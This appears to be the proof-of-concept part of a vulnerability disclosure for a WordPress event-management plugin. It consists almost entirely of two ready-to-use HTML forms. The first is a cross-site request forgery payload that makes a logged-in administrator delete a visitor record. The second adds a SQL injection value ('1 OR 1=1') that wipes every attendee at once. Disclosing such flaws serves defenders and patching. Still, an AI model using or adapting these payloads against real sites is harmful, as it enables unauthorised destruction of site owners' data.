To delete the attendee/visitor with ID 1, make a logged in admin open a page with the HTML code below
<html>
<body>
<form action="https://example.com/wp-admin/edit.php?post_type=awl_event_monster&page=em-visitors-page" method="POST">
<input type="hidden" name="action" value="deleteallvisitor" />
<input type="hidden" name="id" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
The statement deleting attendee is also affected by SQLi, so the below code would delete all attendee at once via a SQL Injection attack
<html>
<body>
<form action="https://example.com/wp-admin/edit.php?post_type=awl_event_monster&page=em-visitors-page" method="POST">
<input type="hidden" name="action" value="deleteallvisitor" />
<input type="hidden" name="id" value="1 OR 1=1" />
<input type="submit" value="Submit request" />
</form>
</body>
